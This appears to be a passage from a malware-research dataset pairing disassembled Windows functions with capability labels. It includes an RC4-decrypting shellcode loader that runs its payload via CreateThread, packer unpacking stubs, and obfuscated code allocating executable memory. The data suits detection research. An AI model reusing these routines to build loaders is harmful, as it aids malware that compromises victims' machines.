joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003cf30
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14003cf3d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14003cf4d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x14003cf35
lea eax, [rcx + 1]
call r11
adc eax, eax
add ebx, ebx
jne 0x14003cf65
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x14003cf52
sub eax, 3
jb 0x14003cf7f
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14003cfb6
movsxd rbp, eax
lea eax, [rcx + 1]
call r11
adc ecx, ecx
call r11
adc ecx, ecx
jne 0x14003cfa6
mov ecx, eax
add eax, 2
call r11
adc ecx, ecx
add ebx, ebx
jne 0x14003cfa4
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x14003cf93
cmp rbp, 0xfffffffffffff300
adc ecx, eax
call fcn.14003cef2
jmp 0x14003cf3d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x22600
mov dl, 0xe
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x14003d002
cmp rsi, rcx
jae 0x14003d00a
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x14003cfe9
cmp al, 0x8f
ja 0x14003cfe9
cmp byte [rsi - 2], 0xf
je 0x14003cfef
sub al, 0xe8
cmp al, 1
ja 0x14003cfd3
cmp rsi, rcx
jae 0x14003d00a
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x14003cfd9
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x14003d00a
lodsb al, byte [rsi]
jmp 0x14003cfe9
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x3a000]
mov eax, dword [rdi]
or eax, eax
je 0x14003d067
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x3d000]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14003d017
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x14003d061
mov qword [rbx], rax
add rbx, 8
jmp 0x14003d037
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x14003d0a1
cmp al, 0xef
ja 0x14003d093
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x14003d073
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x14003d082
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x237]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x14003d0f5
sub rsp, 0xffffffffffffff80
jmp 0x14000797c
Function at 0x140001070
Capabilities:
Encrypt data using rc4 via systemfunction032

Disassembly:
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r15
sub rsp, 0x60
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, str.CreateThread
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rcx, str._i__Wait_While_Decrypting_._._.__n_n
mov rbp, rax
call fcn.140001010
lea rax, [0x14003bd78]
mov dword [rsp + 0x30], 0x10
lea r15, [0x140022a70]
mov qword [rsp + 0x38], rax
lea rcx, str.Advapi32
mov dword [rsp + 0x34], 0x10
mov dword [rsp + 0x40], 0x19302
mov dword [rsp + 0x44], 0x19302
mov qword [rsp + 0x48], r15
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
lea rdx, str.SystemFunction032
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x40]
call rax
test eax, eax
je 0x14000113f
mov edx, eax
lea rcx, str.____SystemFunction032_FAILED_With_Error_:_0x_0.8X_n
call fcn.140001010
lea rcx, str.____Error_While_Decrypting_...__n_n
call fcn.140001010
lea rcx, str.___DONE_n
mov qword [rsp + 0x70], rbx
call fcn.140001010
xor edx, edx
mov qword [rsp + 0x28], 0
mov esi, 1
mov dword [rsp + 0x20], 0x19302
xor r9d, r9d
lea rcx, [rdx - 1]
lea r8d, [rsi + 0x3f]
call qword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov rdi, rax
test rax, rax
jne 0x14000119d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateFileMapping_Failed_With_Error_:__d__n
call fcn.140001010
lea eax, [rsi - 2]
jmp 0x140001273
xor r9d, r9d
mov qword [rsp + 0x20], 0x19302
xor r8d, r8d
mov rcx, rdi
lea edx, [r9 + 0x22]
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rbx, rax
test rax, rax
jne 0x1400011d9
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____MapViewOfFile_Failed_With_Error_:__d__n
call fcn.140001010
xor esi, esi
jmp 0x140001214
mov rdx, rbx
lea rcx, str._i__pMapAddress_:_0x_p__n
call fcn.140001010
mov rdx, rbx
lea rcx, str._i__Copying_Payload_To_0x_p_...
call fcn.140001010
mov r8d, 0x19302
mov rdx, r15
mov rcx, rbx
call fcn.140015d90
lea rcx, str.___DONE__n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test esi, esi
jne 0x140001226
lea eax, [rsi - 1]
jmp 0x140001273
lea rcx, str._i__Creating_New_Thread_...
call fcn.140001010
xor r9d, r9d
mov qword [rsp + 0x28], 0
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call rbp
mov rbx, rax
test rax, rax
je 0x140001271
lea rcx, str.___DONE__n
call fcn.140001010
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
xor eax, eax
mov rbx, qword [rsp + 0x70]
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400012b0
lea r11, [rsp + 0x60]
mov rbp, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
Function at 0x140001c90
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001cda
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001cda
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001cda
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001cda
cmp dword [rcx + 0x84], 0xe
jbe 0x140001cda
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001cdc
xor al, al
add rsp, 0x28
ret

Function at 0x140008680
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14000847c
Function at 0x14000d9c8
Capabilities:
Query environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor esi, esi
mov rbx, rax
test rax, rax
jne 0x14000d9f8
xor eax, eax
jmp 0x14000dabb
mov rbp, rbx
cmp word [rax], si
je 0x14000da1d
or rax, 0xffffffffffffffff
inc rax
cmp word [rbp + rax*2], si
jne 0x14000da04
lea rbp, [rbp + rax*2]
add rbp, 2
cmp word [rbp], si
jne 0x14000da00
mov qword [rsp + 0x38], rsi
sub rbp, rbx
mov qword [rsp + 0x30], rsi
add rbp, 2
sar rbp, 1
mov r8, rbx
mov r9d, ebp
mov dword [rsp + 0x28], esi
xor edx, edx
mov qword [rsp + 0x20], rsi
xor ecx, ecx
call fcn.14000d8e8
movsxd r14, eax
test eax, eax
jne 0x14000da5b
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
jmp 0x14000d9f1
mov rcx, r14
call fcn.14000a17c
mov rdi, rax
test rax, rax
jne 0x14000da74
xor ecx, ecx
call fcn.140009504
jmp 0x14000da50
mov qword [rsp + 0x38], rsi
mov r9d, ebp
mov qword [rsp + 0x30], rsi
mov r8, rbx
mov dword [rsp + 0x28], r14d
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x20], rdi
call fcn.14000d8e8
test eax, eax
jne 0x14000daa5
mov rcx, rdi
call fcn.140009504
jmp 0x14000daaf
xor ecx, ecx
call fcn.140009504
mov rsi, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rsi
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
Function at 0x140012e90
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.14000c9b8
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x140012f1a
cmp byte [rbp - 0x21], r15b
je 0x140012f15
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x140012f50
call fcn.140009754
test eax, eax
jne 0x140012f3c
cmp byte [rbp - 0x21], r15b
je 0x140012f34
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x140012f50
cmp byte [rbp - 0x21], r15b
je 0x140012f4d
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.14000bf98
test eax, eax
jne 0x140012ff0
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.14000c9b8
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x140012f8f
cmp byte [rbp - 0x21], r15b
je 0x140012fc4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x140012fc4
call fcn.140009754
test eax, eax
jne 0x140012fb0
cmp byte [rbp - 0x21], r15b
je 0x140012fa9
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x140012fc4
cmp byte [rbp - 0x21], r15b
je 0x140012fc1
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.14000bf98
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x140012ff0
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x140012ff3
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x140013001
mov rcx, rdi
call fcn.140009504
cmp byte [rbp + 0x3f], r15b
je 0x140013010
mov rcx, qword [rbp + 0x27]
call fcn.140009504
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret

Function at 0x140015580
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400155a8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x1400155a8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x181a9f000
Capabilities:
Decompress data using aplib

Disassembly:
jmp 0x181a9f00a
jmp 0x181aa100f
jmp fcn.1816c2058
Function at 0x140069160
Capabilities:
Terminate process

Disassembly:
cld
pop r11
jmp 0x14006916d
inc rsi
mov byte [rdi], dl
inc rdi
mov dl, byte [rsi]
add ebx, ebx
jne 0x14006917d
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jb 0x140069165
lea eax, [rcx + 1]
jmp 0x14006918b
dec eax
call r11
adc eax, eax
call r11
adc eax, eax
add ebx, ebx
jne 0x14006919e
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
mov dl, byte [rsi]
jae 0x140069184
sub eax, 3
jb 0x1400691be
shl eax, 8
movzx edx, dl
or eax, edx
inc rsi
xor eax, 0xffffffff
je 0x14006920d
sar eax, 1
movsxd rbp, eax
jb 0x1400691f4
jmp 0x1400691cc
add ebx, ebx
jne 0x1400691ca
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400691f4
inc ecx
add ebx, ebx
jne 0x1400691da
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jb 0x1400691f4
call r11
adc ecx, ecx
add ebx, ebx
jne 0x1400691ed
mov ebx, dword [rsi]
sub rsi, 0xfffffffffffffffc
adc ebx, ebx
jae 0x1400691dc
add ecx, 2
jmp 0x1400691f9
call r11
adc ecx, ecx
cmp rbp, 0xfffffffffffffb00
adc ecx, 2
call fcn.140069122
jmp 0x14006916d
pop rsi
mov rdi, rsi
push rsi
mov rdi, rsi
mov rsi, 0x20e00
mov dl, 0x11
push rbx
push rdi
lea rcx, [rdi + rsi - 3]
pop rsi
push rsi
pop rbx
jmp 0x140069259
cmp rsi, rcx
jae 0x140069261
push rsi
pop rsi
lodsb al, byte [rsi]
cmp al, 0x80
jb 0x140069240
cmp al, 0x8f
ja 0x140069240
cmp byte [rsi - 2], 0xf
je 0x140069246
sub al, 0xe8
cmp al, 1
ja 0x14006922a
cmp rsi, rcx
jae 0x140069261
push rsi
lodsd eax, dword [rsi]
sub al, dl
jne 0x140069230
pop rdi
bswap eax
sub eax, edi
add eax, ebx
stosd dword [rdi], eax
cmp rsi, rcx
jae 0x140069261
lodsb al, byte [rsi]
jmp 0x140069240
pop rbx
pop rsi
sub rsp, 0x28
lea rdi, [rsi + 0x67000]
mov eax, dword [rdi]
or eax, eax
je 0x1400692ca
mov ebx, dword [rdi + 4]
lea rcx, [rax + rsi + 0x7c288]
add rbx, rsi
add rdi, 8
call qword [sym.imp.KERNEL32.DLL_LoadLibraryA]
xchg rbp, rax
mov al, byte [rdi]
inc rdi
or al, al
je 0x14006926e
jns 0x1400692a3
movzx rdx, word [rdi]
add rdi, 2
jmp 0x1400692ad
mov rcx, rdi
mov rdx, rdi
dec eax
repne scasb al, byte [rdi]
mov rcx, rbp
call qword [sym.imp.KERNEL32.DLL_GetProcAddress]
or rax, rax
je 0x1400692c4
mov qword [rbx], rax
add rbx, 8
jmp 0x14006928e
jmp qword [sym.imp.KERNEL32.DLL_ExitProcess]
add rsp, 0x28
add rdi, 4
lea rbx, [rsi - 4]
xor eax, eax
mov al, byte [rdi]
inc rdi
or eax, eax
je 0x140069304
cmp al, 0xef
ja 0x1400692f6
add rbx, rax
mov rax, qword [rbx]
bswap rax
add rax, rsi
mov qword [rbx], rax
jmp 0x1400692d6
and al, 0xf
shl eax, 0x10
mov ax, word [rdi]
add rdi, 2
jmp 0x1400692e5
mov rbp, qword [sym.imp.KERNEL32.DLL_VirtualProtect]
lea rdi, [rsi - 0x1000]
mov ebx, 0x1000
push rax
mov r9, rsp
mov r8d, 4
mov rdx, rbx
mov rcx, rdi
sub rsp, 0x20
call rbp
lea rax, [rdi + 0x22f]
and byte [rax], 0x7f
and byte [rax + 0x28], 0x7f
lea r9, [rsp + 0x20]
mov r8, qword [r9]
mov rdx, rbx
mov rcx, rdi
call rbp
add rsp, 0x28
pop rbp
pop rdi
pop rsi
pop rbx
lea rax, [rsp - 0x80]
push 0
cmp rsp, rax
jne 0x140069358
sub rsp, 0xffffffffffffff80
jmp 0x140008ef8
Function at 0x140001000
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x40
mov r10d, r8d
lea ebp, [rcx - 0x67]
xor r10d, 0x73
mov ebx, r8d
mov edi, r8d
add r9d, 0xc0
xor edi, 0x300
xor ebx, 0x3f0
mov rsi, rdx
lea eax, [r10 + 0xf0]
cmp edi, eax
je 0x1400010db
lea eax, [r9 + 0x19c]
cmp edi, eax
jge 0x1400010a0
mov eax, dword [rdx + 0x80]
lea r11, [0x1400d8010]
add eax, 0x62b87ad
mov qword [rsp + 0x30], r11
mov dword [rdx], eax
lea r8d, [rdi + 0x1df]
mov edx, ebx
mov dword [rsp + 0x28], r10d
lea eax, [rdi + 0x201]
xor edx, 0x378
btc r9d, 7
mov dword [rsp + 0x20], eax
lea ecx, [rbx - 0x8a]
call fcn.140011c34
mov r9d, eax
jmp 0x1400010db
mov eax, ebx
lea edx, [rcx - 0xdf]
sub eax, dword [rsi + 0xc0]
cmp edx, eax
jae 0x1400010db
mov ecx, dword [0x1400d8150]
imul eax, dword [rsi + 0xc4], 0x2537
add edx, 2
xor ecx, eax
mov eax, ebx
xor ecx, ebp
mov dword [0x1400d8150], ecx
sub eax, dword [rsi + 0xc0]
cmp edx, eax
jb 0x1400010b8
cmp dword [rsi + 0x110], 0xa137
jbe 0x1400010fd
mov rax, qword [section..data]
mov ecx, dword [rax + 0x1c]
add ecx, 0x6301
mov dword [0x1400d8060], ecx
lea eax, [r9 - 0xad]
cmp ebp, eax
jle 0x140001153
mov eax, r9d
xor eax, 0x146
cmp ebp, eax
jle 0x14000113f
mov r8d, edi
lea eax, [r9 - 0x13e]
xor edi, 0x263
mov dword [rsp + 0x20], eax
mov ecx, edi
add r9d, 0x69
xor r8d, 0x89
mov rdx, rsi
call fcn.1400123d0
jmp 0x140001153
mov ecx, dword [0x1400d8080]
sub ecx, dword [0x1400d805c]
sub ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbp, qword [rsp + 0x58]
lea eax, [rbx - 0x1bb]
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x60]
add rsp, 0x40
pop rdi
ret
Function at 0x1400013ec
Capabilities:
Allocate or change rwx memory

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov edi, dword [rsp + 0x88]
lea ebp, [rdx - 0x21c]
mov r14d, edi
mov esi, r9d
mov r15d, r9d
xor r14d, 0x25d
xor esi, 0x1e9
xor r15d, 0x334
lea r13d, [rdi - 0x87]
mov rbx, r8
xor edi, 0x2ba
cmp r14d, r9d
jg 0x14000158a
lea eax, [rbp + 0x19d]
cmp esi, eax
je 0x1400014e5
mov eax, dword [0x1400d80e8]
cmp dword [0x1400d8150], eax
ja 0x14000149d
mov rax, qword [section..data]
mov r8d, dword [r8 + 0x78]
mov edx, dword [rbx + 0x48]
mov ecx, dword [rax + 0x90]
add ecx, 0x2fff
add r8d, ecx
xor ecx, ecx
lea r9d, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
add rax, 0x5800
mov qword [0x1400d8108], rax
cmp dword [rbx + 0x4c], 0xfb3d
ja 0x1400014b7
mov eax, dword [rbx + 0xac]
add eax, 0xe6f92
mov dword [0x1400d807c], eax
mov eax, dword [0x1400d80a0]
add edi, 0x246
cmp dword [rbx + 0x30], eax
jb 0x14000158a
mov eax, dword [rbx + 0xa4]
sub eax, dword [rbx + 0x110]
add eax, 0x1ba0a2
xor dword [rbx + 0x6c], eax
jmp 0x14000158a
mov eax, dword [r8 + 0xb0]
lea ecx, [r9 + 0x22]
sub eax, esi
add ecx, eax
mov rax, qword [section..data]
cmp dword [rax + 0x18], ecx
jb 0x14000158a
mov eax, dword [0x1400d80d4]
mov r12d, ebp
imul eax, esi
cmp ebp, eax
jne 0x14000158a
mov edx, dword [rbx + 0xd0]
mov r9d, r13d
mov eax, dword [rbx + 0xcc]
add edx, r14d
mov ecx, dword [0x1400d8090]
sub eax, 0x23dd
or r9d, dword [rbx + 0x10c]
and ecx, r13d
mov r8d, dword [rbx + 8]
and eax, ebp
sub r8d, dword [rbx + 0x64]
sub r9d, 0x249d
and ecx, dword [rbx + 0x34]
mov dword [rsp + 0x28], edx
lea rdx, [0x1400d8010]
mov dword [rsp + 0x20], eax
call fcn.140011ee8
mov ecx, r13d
mov edx, r15d
sub ecx, dword [rbx + 0xc0]
or rcx, rdx
call qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov ecx, dword [0x1400d80d4]
add r12d, 3
imul ecx, esi
cmp r12d, ecx
je 0x140001514
mov rbx, qword [rsp + 0x60]
xor edi, 0x18b
mov rbp, qword [rsp + 0x68]
mov eax, edi
mov rsi, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
Function at 0x14000c128
Capabilities:
Read file on windows

Disassembly:
sub rsp, 0x28
mov rdx, rcx
test rcx, rcx
jne 0x14000c105
call fcn.14000adf8
mov dword [rax], 0x16
call fcn.14000acd8
or eax, 0xffffffff
jmp 0x14000c122
sub dword [rcx + 0x10], 1
jns 0x14000c114
add rsp, 0x28
jmp 0x14000eeec
mov rax, qword [rcx]
movzx ecx, byte [rax]
inc rax
mov qword [rdx], rax
mov eax, ecx
add rsp, 0x28
ret
jmp 0x14000c0e4
mov rax, rsp
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov qword [rax + 8], rcx
push rbp
mov rbp, rsp
sub rsp, 0x20
test rcx, rcx
jne 0x14000ed8c
call fcn.14000adf8
mov dword [rax], 0x16
call fcn.14000acd8
or eax, 0xffffffff
mov rbx, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop rbp
ret
mov eax, dword [rcx + 0x14]
shr eax, 0xd
test al, 1
je 0x14000ed74
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 0xc
test cl, 1
jne 0x14000ed74
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
mov rax, qword [rbp + 0x10]
shr ecx, 1
test cl, 1
je 0x14000edbe
lock or dword [rax + 0x14], 0x10
jmp 0x14000ed74
lock or dword [rax + 0x14], 1
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
test ecx, 0x4c0
jne 0x14000eddb
mov rcx, qword [rbp + 0x10]
call fcn.14000eef4
mov rax, qword [rbp + 0x10]
mov rcx, qword [rax + 8]
mov qword [rax], rcx
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14000bf28
mov rdx, qword [rbp + 0x10]
mov ecx, eax
mov r8d, dword [rdx + 0x20]
mov rdx, qword [rdx + 8]
call fcn.1400102ec
mov dword [rbx + 0x10], eax
mov rax, qword [rbp + 0x10]
mov edx, dword [rax + 0x10]
lea ecx, [rdx + 1]
cmp ecx, 1
ja 0x14000ee32
neg edx
sbb ecx, ecx
and ecx, 8
add ecx, 8
lock or dword [rax + 0x14], ecx
mov rax, qword [rbp + 0x10]
and dword [rax + 0x10], 0
jmp 0x14000ed74
mov ecx, dword [rax + 0x14]
test cl, 6
jne 0x14000ee9e
mov rcx, qword [rbp + 0x10]
call fcn.14000bf28
cmp eax, 0xffffffff
je 0x14000ee85
mov rcx, qword [rbp + 0x10]
call fcn.14000bf28
cmp eax, 0xfffffffe
je 0x14000ee85
mov rbx, qword [rbp + 0x10]
mov rcx, rbx
call fcn.14000bf28
movsxd rdi, eax
lea rsi, [0x14016e2a0]
mov rcx, rbx
sar rdi, 6
call fcn.14000bf28
and eax, 0x3f
shl rax, 6
add rax, qword [rsi + rdi*8]
jmp 0x14000ee8c
lea rax, [0x14016d740]
mov al, byte [rax + 0x38]
and al, 0x82
cmp al, 0x82
jne 0x14000ee9e
mov rax, qword [rbp + 0x10]
lock or dword [rax + 0x14], 0x20
mov rax, qword [rbp + 0x10]
cmp dword [rax + 0x20], 0x200
jne 0x14000eed4
mov ecx, dword [rax + 0x14]
shr ecx, 6
test cl, 1
je 0x14000eed0
mov rax, qword [rbp + 0x10]
mov ecx, dword [rax + 0x14]
shr ecx, 8
test cl, 1
jne 0x14000eed0
mov rax, qword [rbp + 0x10]
mov dword [rax + 0x20], 0x1000
mov rax, qword [rbp + 0x10]
dec dword [rax + 0x10]
mov rcx, qword [rax]
movzx edx, byte [rcx]
inc rcx
mov qword [rax], rcx
mov eax, edx
jmp 0x14000ed77
jmp 0x14000ed44
Function at 0x140011c88
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov esi, dword [rsp + 0x90]
lea edi, [rdx - 0x2537]
mov eax, dword [r9 + 0x100]
lea ebp, [r8 + 7]
mov r14d, r8d
lea r13d, [rcx - 0x274b]
mov r15d, edx
xor r14d, 0xf9
lea r12d, [rsi - 0x83]
xor r15d, 0x2537
xor esi, 0x667
mov rbx, r9
mov r11d, edi
cmp dword [r9 + 0x20], eax
jne 0x140011cfc
add dword [0x1400d8144], 0x188ca
jmp 0x140011d07
mov eax, dword [r9 + 0xc]
add dword [r9 + 0x114], eax
mov eax, dword [0x1400d8034]
cmp dword [r9 + 0x140], eax
ja 0x140011d26
mov eax, dword [r9 + 0x15c]
xor eax, 0xffe2be19
mov dword [r9 + 0x48], eax
lea eax, [r14 - 0x1a]
cmp ebp, eax
jle 0x140011d72
mov r10d, r12d
lea eax, [rsi + 0x40]
xor r10d, 0x12a
lea r8d, [r14 + 0x176]
mov dword [rsp + 0x30], r10d
lea edx, [r13 + 0x2537]
mov r9d, r12d
mov dword [rsp + 0x28], eax
xor r9d, 0x14d
lea ecx, [rdi + 0x25c3]
mov dword [rsp + 0x20], r9d
mov r9, rbx
call fcn.140002dd0
mov r11d, eax
xor r11d, 0x37a
cmp r14d, r11d
je 0x140011ec0
lea eax, [r12 + 0x18b]
cmp r13d, eax
je 0x140011e04
lea eax, [rdi + 0x23ff]
xor esi, 0x51d
xor r15d, 0x2639
mov dword [rsp + 0x28], esi
mov edx, r15d
mov dword [rsp + 0x20], eax
lea r9d, [r12 + 0x1f2]
lea ecx, [rdi + 0x26c0]
lea r8, [0x1400d8010]
call fcn.1400013ec
mov eax, dword [rbx + 0x124]
cmp dword [rbx + 0xcc], eax
jae 0x140011df1
mov rax, qword [section..data]
mov ecx, dword [rax + 0x4c]
xor ecx, dword [rbx + 0x134]
xor ecx, 0x618
sub dword [0x1400d807c], ecx
mov rax, qword [0x1400d8108]
mov qword [rbx + 0xf0], rax
jmp 0x140011ec0
mov eax, dword [rbx + 0x178]
and eax, esi
and eax, ebp
cmp ebp, eax
jbe 0x140011ec0
mov eax, dword [rbx + 0x110]
xor eax, dword [rbx + 0xc0]
cmp dword [rbx + 0x4c], eax
je 0x140011ec0
mov eax, edi
imul eax, edi
cmp ebp, eax
je 0x140011ec0
imul r13d, edi
sub eax, ebp
mov ebp, 0x274b
mov esi, eax
mov ecx, dword [rbx + 0x20]
or rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetSystemTime]
mov r10, qword [section..data]
mov r9d, dword [rbx + 0x178]
mov ecx, dword [rbx + 0xc4]
add r9d, r12d
mov edx, dword [rbx + 0xc8]
and ecx, r12d
mov eax, dword [r10 + 0xe8]
mov r8d, dword [rbx + 0x38]
xor eax, ebp
imul ecx, dword [rbx + 0xbc]
or r15d, eax
mov eax, dword [r10 + 0x20]
add edx, r15d
imul eax, r12d
or r8d, 0x264a
and eax, r12d
mov dword [rsp + 0x30], eax
